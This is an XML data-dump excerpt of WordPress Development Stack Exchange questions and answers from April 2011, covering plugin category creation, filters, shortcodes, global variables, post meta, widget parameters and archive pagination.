  <row Id="15066" PostTypeId="1" AcceptedAnswerId="15136" CreationDate="2011-04-18T19:10:36.367" Score="0" ViewCount="52" Body="&lt;p&gt;I've isolated the source of a fatal error that's been occurring when a brand new site is previewed just after installing and activating the plugin I'm working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem appears to be that the &quot;category_children&quot; item in the options table is not being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, it appears that two actions trigger WP to create the category_children option. They are: (1) Activating a theme that contains code to create categories and (2) Simply accessing the category manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do either of those, after activating the plugin, the category_children option is being created (presumably due to checks in the theme activation or the edit-tags.php load) and the error goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using in my plugin to create the categories (executes on plugin activation only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if(!get_cat_ID('nofollow')){wp_create_category('nofollow',1);}&#xA;        if(!get_cat_ID('noindex')){wp_create_category('noindex',1);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing? Do I need to explicitly call a method to have WordPress generate the category_children options array for these items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Thanks to scribu's help below on the reason for this bug, I've found that the PARTIAL fix for this bug is to place this line just after my wp_create_category() calls are complete:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clean_term_cache('','category'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this does not work when called in the same plugin that creates the categories. I had to place it in a standalone plugin that's activated separately from the plugin that creates my categories.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-19T19:43:59.610" LastActivityDate="2011-04-19T19:43:59.610" Title="Missing &quot;category_children&quot; option when dynamically creating categories via a plugin" Tags="&lt;plugin-development&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="15067" PostTypeId="2" ParentId="12420" CreationDate="2011-04-18T19:12:47.083" Score="1" ViewCount="" Body="&lt;p&gt;Okay, I'm going on the assumption that the real question is &quot;how do I get Thematic to add the post-format to its body classes?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_thematic_post_format_class( $classes = array() ) {&#xA;  $format = get_post_format();&#xA;  if ( '' == $format )&#xA;    $format = 'standard';&#xA;&#xA;  $classes[] = 'format-' . $format;&#xA;&#xA;  return $classes;&#xA;}&#xA;&#xA;add_filter( 'post_class', 'my_thematic_post_format_class' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't override the thematic post class functions. Just add that filter, and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-04-18T19:12:47.083" CommentCount="1" />
  <row Id="15068" PostTypeId="2" ParentId="11601" CreationDate="2011-04-18T19:21:45.940" Score="1" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference#Blog_Information_and_Option_Filters&quot; rel=&quot;nofollow&quot;&gt;filter reference&lt;/a&gt; on the codex. In particular, note that you can use the form &lt;code&gt;option_$foo&lt;/code&gt; to filter just a specific option key. So if you wanted a filter specific to the &lt;code&gt;siteurl&lt;/code&gt; option, you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'option_siteurl', 'my_url_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-04-18T19:21:45.940" CommentCount="1" />
  <row Id="15070" PostTypeId="1" AcceptedAnswerId="15072" CreationDate="2011-04-18T19:29:31.773" Score="0" ViewCount="85" Body="&lt;p&gt;I'm wondering how to do make a multi-site network with wordpress. The best example I have is the cheezburger network.&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-04-18T19:31:54.930" Title="How do I create a multi site network?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="15071" PostTypeId="2" ParentId="15050" CreationDate="2011-04-18T19:29:58.980" Score="0" ViewCount="" Body="&lt;p&gt;this was asked before, but sadly the &quot;Insert/edit link&quot; (with interlinking) was developed as a tinymce plugin so using it outside of tinymce is not really possible unless your write the whole thing from scratch.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T19:29:58.980" CommentCount="4" />
  <row Id="15072" PostTypeId="2" ParentId="15070" CreationDate="2011-04-18T19:31:54.930" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you looked through the basics? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set up subdomains, site.domain.com&#xA;or subdirectories domain.com/site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can even route domains to the sub sites. &#xA;Check out that stuff first, as multisite is built in to WP since 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had more specific questions you maybe rephrase your question?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-18T19:31:54.930" />
  <row Id="15073" PostTypeId="1" AcceptedAnswerId="15079" CreationDate="2011-04-18T20:01:48.447" Score="1" ViewCount="99" Body="&lt;p&gt;I read that you can use session_start() in config.php, but that it is not recommended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form where a user fills out their name and submits. On confirmation of the submission they land on a new page that says 'Thank-you First Last.' What is the preferred way of passing this information from page1 on to page2?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-04-18T20:42:33.523" Title="Can you keep session data for visitors?" Tags="&lt;variables&gt;" AnswerCount="1" />
  <row Id="15074" PostTypeId="2" ParentId="14505" CreationDate="2011-04-18T20:07:39.227" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;UPDATE!&lt;/strong&gt; What I did was just include the slider I was trying to use. I linked the jquery scripts that page needs via the &lt;code&gt;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;&lt;/code&gt; method. I did notice that it takes a couple of seconds to load that portion of the page, but it works. I still think this can be improved, but with time constraints it will have to do. Thanks all for your comments and eagerness to help!&lt;/p&gt;&#xA;" OwnerUserId="4596" LastActivityDate="2011-04-18T20:07:39.227" />
  <row Id="15075" PostTypeId="2" ParentId="15061" CreationDate="2011-04-18T20:22:02.563" Score="1" ViewCount="" Body="&lt;p&gt;I just ran into something similar to this. It had to do with refreshing permalinks. If you go to Settings -&gt; Permalink and just click save see if it fixes your problem. It did for me. In the end I added the following to my functions.php file which updated the permalinks for me. I was using custom post types. Maybe you have a plugin that is doing the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'flush_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-04-18T20:22:02.563" CommentCount="1" />
  <row Id="15076" PostTypeId="1" CreationDate="2011-04-18T20:23:50.320" Score="0" ViewCount="102" Body="&lt;p&gt;I tried to use &lt;strong&gt;Twitter tools&lt;/strong&gt; plugin to connect my WP with Twitter but it didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;strong&gt;custom post types&lt;/strong&gt; there. Probably this is why it didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin or solution connect WP custom post type with Twitter ? &lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2011-04-18T20:23:50.320" Title="Connect WP and Twitter for custom post types" Tags="&lt;3.0&gt;&lt;twitter&gt;" CommentCount="2" />
  <row Id="15077" PostTypeId="2" ParentId="15042" CreationDate="2011-04-18T20:29:30.793" Score="1" ViewCount="" Body="&lt;p&gt;User needs it in his footer so I think you should &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_single&quot; rel=&quot;nofollow&quot;&gt;use conditional page logic&lt;/a&gt;. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If ( is_single(postID)) { //insert tracking code  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use the post title or post slug, but id is the most reliable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Old Answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would consider &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;writing a shortcode&lt;/a&gt;. Add the following to your functions.php file. You can specify input parameters. In this case I specify id and target. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode( 'signup', 'signup_shortcode' );&#xA;&#xA;function signup_shortcode( $atts ) {&#xA;extract( shortcode_atts( array(&#xA;    'id' =&amp;gt; '',&#xA;    'target' =&amp;gt; '',&#xA;), $atts ) );&#xA;&#xA;$HTML = 'hello world'.$id;&#xA;&#xA;return $HTML;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then call it in your post like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[signup id=&quot;1234&quot; target=&quot;goog&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="4013" LastEditorDisplayName="" LastEditDate="2011-04-19T19:16:06.467" LastActivityDate="2011-04-19T19:16:06.467" CommentCount="5" />
  <row Id="15078" PostTypeId="1" AcceptedAnswerId="15081" CreationDate="2011-04-18T20:35:08.917" Score="0" ViewCount="252" Body="&lt;p&gt;I've got page with metabox called &quot;something&quot;. It can have two values &quot;value&quot; and &quot;value2&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a shortcode at this page and want it to display something's value. The problem is I don't know how to access global variable in a shortcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, I have this in page.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($something == &quot;value&quot;) {   &#xA;     global $one, $two; &#xA;     $one = 120;&#xA;     $two = 240;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to access these variables in my shortocde (functions.php file), but &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $one; echo $two;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives no output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-18T21:24:14.930" Title="Wordpress global variables?" Tags="&lt;3.0&gt;&lt;metabox&gt;&lt;shortcode&gt;&lt;variables&gt;" AnswerCount="3" />
  <row Id="15079" PostTypeId="2" ParentId="15073" CreationDate="2011-04-18T20:42:33.523" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend using &lt;code&gt;$_GET&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt; variables ... the same way you submit the form.  This has nothing to do with session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, when the user fills out the form, you're populating &lt;code&gt;$_POST&lt;/code&gt; with information.  When the user submits the form, you process the information in &lt;code&gt;$_POST&lt;/code&gt; and display a thank you page ... you'll have access to the first and last name at this time.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-18T20:42:33.523" CommentCount="2" />
  <row Id="15080" PostTypeId="2" ParentId="15078" CreationDate="2011-04-18T20:48:03.940" Score="1" ViewCount="" Body="&lt;p&gt;Unless you're firing those echos from within a function through page.php, functions wont get anything from those globals because they are set up after functions.php runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_me_that_stuff() {&#xA;    global $one, $two;&#xA;    echo $one;&#xA;    echo $two;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in page.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($something == &quot;value&quot;) {   &#xA;     global $one, $two; &#xA;     $one = 120;&#xA;     $two = 240;&#xA;}&#xA;show_me_that_stuff();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it should output 120240.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-18T20:48:03.940" />
  <row Id="15081" PostTypeId="2" ParentId="15078" CreationDate="2011-04-18T20:50:11.623" Score="1" ViewCount="" Body="&lt;p&gt;Meta data is save in postmeta table and to get them you can use &lt;code&gt;get_post_meta($post_id,'meta_key_name',true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so in your shortcode function globilaize $post object and get you value like that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($something == &quot;value&quot;) {   &#xA;     global $post; &#xA;     $one = get_post_meta($post-&amp;gt;ID,'value_name'true);&#xA;     $two = get_post_meta($post-&amp;gt;ID,'value2_name'true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T20:50:11.623" CommentCount="1" />
  <row Id="15082" PostTypeId="2" ParentId="15047" CreationDate="2011-04-18T20:59:29.453" Score="2" ViewCount="" Body="&lt;p&gt;maybe &lt;strong&gt;CrossPoster&lt;/strong&gt; ... or &lt;strong&gt;WidePoster&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T20:59:29.453" />
  <row Id="15083" PostTypeId="2" ParentId="14519" CreationDate="2011-04-18T21:20:53.950" Score="0" ViewCount="" Body="&lt;p&gt;It is a fact of life that you will have to deal with some spam on any site. There are other ways of combating spam: such as a Q&amp;amp;A Captcha (the site asks the user a question such as &quot;What is the name of the site?&quot; and the user has to answer it correctly: very hard for spammers to get past), but they aren't readily available for wordpress the last time I checked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a very good answer, but unless you make some custom plugins for wordpress, your going to be stuck with some spam. And if you make some custom plugins for wordpress, you are going to have less spam, but you still will have some. &lt;strong&gt;You can't eliminate spam entirely, you can only reduce it's numbers.&lt;/strong&gt; The goal is to reduce the number of spam on your site to the point where you barely get any.&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-04-18T21:20:53.950" />
  <row Id="15084" PostTypeId="2" ParentId="15078" CreationDate="2011-04-18T21:24:14.930" Score="0" ViewCount="" Body="&lt;p&gt;Post specific values like you're demonstrated should be post_meta as demonstrated by Bainternet. No question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if it isn't page specific and is truly global, you also have the wp_options table with a specific API for dealing with that.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-04-18T21:24:14.930" CommentCount="1" />
  <row Id="15085" PostTypeId="1" CreationDate="2011-04-18T22:17:37.283" Score="0" ViewCount="197" Body="&lt;p&gt;How would I bulk change posting date? I want to change about 20 post publish dates at a time in one click&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-04-18T23:50:08.963" Title="How would I bulk change posting date?" Tags="&lt;date-time&gt;" AnswerCount="1" />
  <row Id="15086" PostTypeId="2" ParentId="9713" CreationDate="2011-04-18T22:25:06.197" Score="1" ViewCount="" Body="&lt;p&gt;Vanilla isn't a wordpress plugin, but it's a forum and it can integrate with wordpress. Get it here: &lt;a href=&quot;http://www.vanillaforums.org/&quot; rel=&quot;nofollow&quot;&gt;vanillaforums.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-04-18T22:25:06.197" />
  <row Id="15087" PostTypeId="1" AcceptedAnswerId="15100" CreationDate="2011-04-18T22:54:04.343" Score="0" ViewCount="59" Body="&lt;p&gt;How do I show 10 posts on the first page of the archive, and 20 on others (&gt;1)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom post type name is &quot;apartments&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2011-04-19T09:18:58.533" Title="Number of posts in the archive" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;pagination&gt;&lt;query&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="15088" PostTypeId="2" ParentId="15085" CreationDate="2011-04-18T23:50:08.963" Score="1" ViewCount="" Body="&lt;p&gt;Post date/time can't be changed via the Quick-Edit bulk editor. You might edit the SQL directly, if you're comfortable running a query in PHPMyAdmin. Or, you could search for a Plugin?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-18T23:50:08.963" />
  <row Id="15090" PostTypeId="2" ParentId="12746" CreationDate="2011-04-19T01:00:17.650" Score="0" ViewCount="" Body="&lt;p&gt;I found another method that more directly answers my question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $terms_as_text = get_the_term_list( $post-&amp;gt;ID,'people', 'People: ', ', ');&#xA;if (!empty($terms_as_text)) echo '&amp;lt;p&amp;gt;', strip_tags($terms_as_text) ,'&amp;lt;/p&amp;gt;'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Credit:  &lt;a href=&quot;http://css-tricks.com/forums/discussion/11225/display-wordpress-custom-taxonomy-tags-but-not-as-links/p1&quot; rel=&quot;nofollow&quot;&gt;CSS Tricks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2011-04-19T04:55:47.880" LastActivityDate="2011-04-19T04:55:47.880" CommentCount="1" />
  <row Id="15092" PostTypeId="1" CreationDate="2011-04-19T02:12:43.650" Score="2" ViewCount="172" Body="&lt;p&gt;I really like the way &lt;a href=&quot;http://vanillaforums.org/&quot; rel=&quot;nofollow&quot;&gt;Vanilla Forums&lt;/a&gt; is integrating with WordPress however I am wondering if it is possible to take it one step further?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'd like to be able to do is to replace WordPress comments with a Vanilla Forum thread. That way, the conversation can continue and work more in the fashion of a forum thread, as opposed to a point in time comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="578" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-19T09:10:45.737" LastActivityDate="2011-05-23T04:52:51.980" Title="Vanilla Forums as a replacement for WordPress comments?" Tags="&lt;comments&gt;&lt;plugin-vanilla-forums&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15093" PostTypeId="1" CreationDate="2011-04-19T04:27:36.843" Score="0" ViewCount="111" Body="&lt;p&gt;I'm trying to create a loop that will display all pages children of children of a page ID, is there a simple way of achieving this ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Team page&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sub page 1 &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member page 1&lt;/li&gt;&#xA;&lt;li&gt;Member page 2&lt;/li&gt;&#xA;&lt;li&gt;Member page 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sub page 2 &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member page 1&lt;/li&gt;&#xA;&lt;li&gt;Member page 2&lt;/li&gt;&#xA;&lt;li&gt;Member page 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now i specify the id of subs and in a query to display their children but it shows all pages instead, i think there is somethign wrong in my query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(&quot;post_type=page&amp;amp;post_parent='9,12,11,7'&amp;amp;posts_per_page=20&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there was a way do specify the ID of Team page and have it show all pages children of its children it would work best, because i wouldn't have to hardcode the id of the sub pages in the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this has already been answered but i couldn't find it in a search&lt;/p&gt;&#xA;" OwnerUserId="2873" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-19T10:13:25.103" LastActivityDate="2011-04-19T10:13:25.103" Title="How to use a Query to display pages children of children?" Tags="&lt;query&gt;&lt;pages&gt;&lt;children&gt;" CommentCount="1" />
  <row Id="15094" PostTypeId="1" CreationDate="2011-04-19T06:50:25.380" Score="1" ViewCount="91" Body="&lt;p&gt;I'm attempting to convert an existing site to Wordpress, mainly for the following reasons: a) I want to add new News &amp;amp; Blog pages and b) so other people can make occasional simple changes to the static (or almost static!) pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused as to the best way to add the static pages to the site, should I be using custom templates, or just Wordpress Edit &amp;amp; html or something better? Broadly speaking, for most of the pages, I want the text on the left with pictures, maps etc on the right. Should I use sidebars or html floats?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm used to using Visual Studio for editing html, in comparison the Worpress editor seems pretty rudimentary + I have already lost some code switching between Visual &amp;amp; html. But obviously I want the pages saved on the database and I also want to insert plugin calls, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be grateful if anyone could give me some guidance on adding static pages. Thanks&lt;/p&gt;&#xA;" OwnerUserId="4762" LastActivityDate="2011-04-19T15:25:19.680" Title="Guidelines for adding static pages" Tags="&lt;pages&gt;" AnswerCount="3" />
  <row Id="15095" PostTypeId="1" CreationDate="2011-04-19T07:31:37.550" Score="1" ViewCount="130" Body="&lt;p&gt;what is the procedure to use this plug-inns correctly? i make a form using contact form 7 but when i test the form it's not working. it returns me an answer like &quot;Failed to send your message. Please try later or contact administrator by other way.&quot; what should i have to do?&lt;/p&gt;&#xA;" OwnerUserId="4763" LastActivityDate="2011-08-19T09:27:02.723" Title="Contact Form 7 to Database" Tags="&lt;plugin-contact-form-7&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15096" PostTypeId="2" ParentId="15024" CreationDate="2011-04-19T07:41:26.940" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/widgets.php#L884&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;dynamic_sidebar_params&lt;/code&gt; filter&lt;/a&gt; is called before each widget is displayed, so multiple times in the same sidebar. It filters the &lt;code&gt;$args&lt;/code&gt; and &lt;code&gt;$instance&lt;/code&gt; parameters that will be passed to the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only want to execute it for the third widget of a specific sidebar, you should check for the sidebar ID (found in the &lt;code&gt;id&lt;/code&gt; value of the &lt;code&gt;$args&lt;/code&gt; array, which is passed first), and then count the widgets until you arrive at &lt;em&gt;n&lt;/em&gt;. There are different ways to do this: you can get all widgets of the current sidebar and compare the ID of the &lt;em&gt;n&lt;/em&gt;-th with the one you are filtering now, or you can just count it in your filter, resetting the count when you get a new sidebar name. Or you could replace &lt;code&gt;dynamic_sidebar()&lt;/code&gt; in your template with a call to a function of your own that will first reset the widget count and then start filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of the second type: counting widgets in the function, resetting the count each time we start a new sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'dynamic_sidebar_params', 'wpse15024_dynamic_sidebar_params' );&#xA;function wpse15024_dynamic_sidebar_params( $params )&#xA;{&#xA;    // These are the targets. Modify them here:&#xA;    $targeted_sidebar = 'sidebar-bottom';&#xA;    $targeted_widget = (int) 3;&#xA;&#xA;    static $widget_counter = array();&#xA;    static $current_sidebar = null;&#xA;&#xA;    $args = $params[0];&#xA;    $instance = $params[1];&#xA;&#xA;    if ( $current_sidebar != $args['id'] ) {&#xA;        $current_sidebar = $args['id'];&#xA;        $widget_counter[$current_sidebar] = 0;&#xA;    }&#xA;&#xA;    if ( $current_sidebar == $targeted_sidebar &amp;amp;&amp;amp; $widget_counter[$current_sidebar] == $targeted_widget ) {&#xA;        $args['before_widget'] = '&amp;lt;div id=&quot;'.@$args['widget_id'].'&quot; class=&quot;span-6 last&quot;&amp;gt;';&#xA;    }&#xA;&#xA;    $widget_counter[$current_sidebar]++;&#xA;&#xA;    return array( $args, $instance );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-20T12:52:42.420" LastActivityDate="2011-04-20T12:52:42.420" CommentCount="6" />
  <row Id="15097" PostTypeId="2" ParentId="15094" CreationDate="2011-04-19T07:52:50.940" Score="1" ViewCount="" Body="&lt;p&gt;The WordPress Dashboard comes with separate sections for Edit Posts (your new News &amp;amp; Blog pages) and Edit Pages. The latter is for your current static content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Styling of the frontend (what the visitor sees) can be done in the stylesheet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would only need custom Page templates if you want the Pages to function completely different than they currently do. This all depends on the theme you choose/have chosen.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-19T07:52:50.940" />
  <row Id="15098" PostTypeId="2" ParentId="15013" CreationDate="2011-04-19T08:41:21.373" Score="1" ViewCount="" Body="&lt;p&gt;apologies for my stupidity -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question can be answered here - and I swapped post_id for title and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/using-wps-thickbox-in-a-plugin&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/using-wps-thickbox-in-a-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4340" LastActivityDate="2011-04-19T08:41:21.373" />
  <row Id="15099" PostTypeId="2" ParentId="13036" CreationDate="2011-04-19T09:09:42.510" Score="0" ViewCount="" Body="&lt;p&gt;The answer ended up being to copy that function and filter the results it returned. It's hacky but until there are more hooks/filters available in that section of the core there's no better way :(&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-04-19T09:09:42.510" />
  <row Id="15100" PostTypeId="2" ParentId="15087" CreationDate="2011-04-19T09:18:58.533" Score="2" ViewCount="" Body="&lt;p&gt;You can change the &lt;code&gt;posts_per_page&lt;/code&gt; variable depending on the page you are on, so make it 10 on the first page and 20 on the other pages. However, you will have to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/194/how-to-show-a-single-post-on-the-front-page-but-have-normal-paging/237#237&quot;&gt;modify the &lt;code&gt;offset&lt;/code&gt; query variable too&lt;/a&gt;, otherwise you will skip posts 11-20 on the second page, because this page thinks they are already displayed on the first page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse15087_pre_get_posts' );&#xA;function wpse15087_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_post_type_archive( 'apartments' ) ) {&#xA;        if ( ! $wp_query-&amp;gt;is_paged() ) {&#xA;            $wp_query-&amp;gt;set( 'posts_per_page', 10 );&#xA;        } else {&#xA;            $wp_query-&amp;gt;set( 'posts_per_page', 20 );&#xA;            $wp_query-&amp;gt;set( 'offset', ( ( $wp_query-&amp;gt;get( 'paged' ) - 2 ) * 20 ) + 10 );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-19T09:18:58.533" CommentCount="1" />
  <row Id="15101" PostTypeId="1" AcceptedAnswerId="15102" CreationDate="2011-04-19T09:32:24.553" Score="0" ViewCount="53" Body="&lt;p&gt;Looking at the code in feed-rss2.php and feeds-rss2-comments.php, after the header preamble, we have a Loop - eg in feeds-rss2-comments.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( have_comments() ) : while ( have_comments() ) : the_comment();&#xA;$comment_post = get_post($comment-&amp;gt;comment_post_ID);&#xA;get_post_custom($comment_post-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where is the wp_comment_query object being created for this loop? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm doing (following my question yesterday), is creating 2 new RSS feeds - one showing posts that have been trashed, the other showing comments that have been trashed. It's easy enough to add a new query_posts / get_comments call, but is there a more efficient way of doing it?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-19T10:10:31.200" Title="How / where is the  wp_query object created for RSS feeds?" Tags="&lt;comments&gt;&lt;loop&gt;&lt;rss&gt;" AnswerCount="1" FavoriteCount="1" />
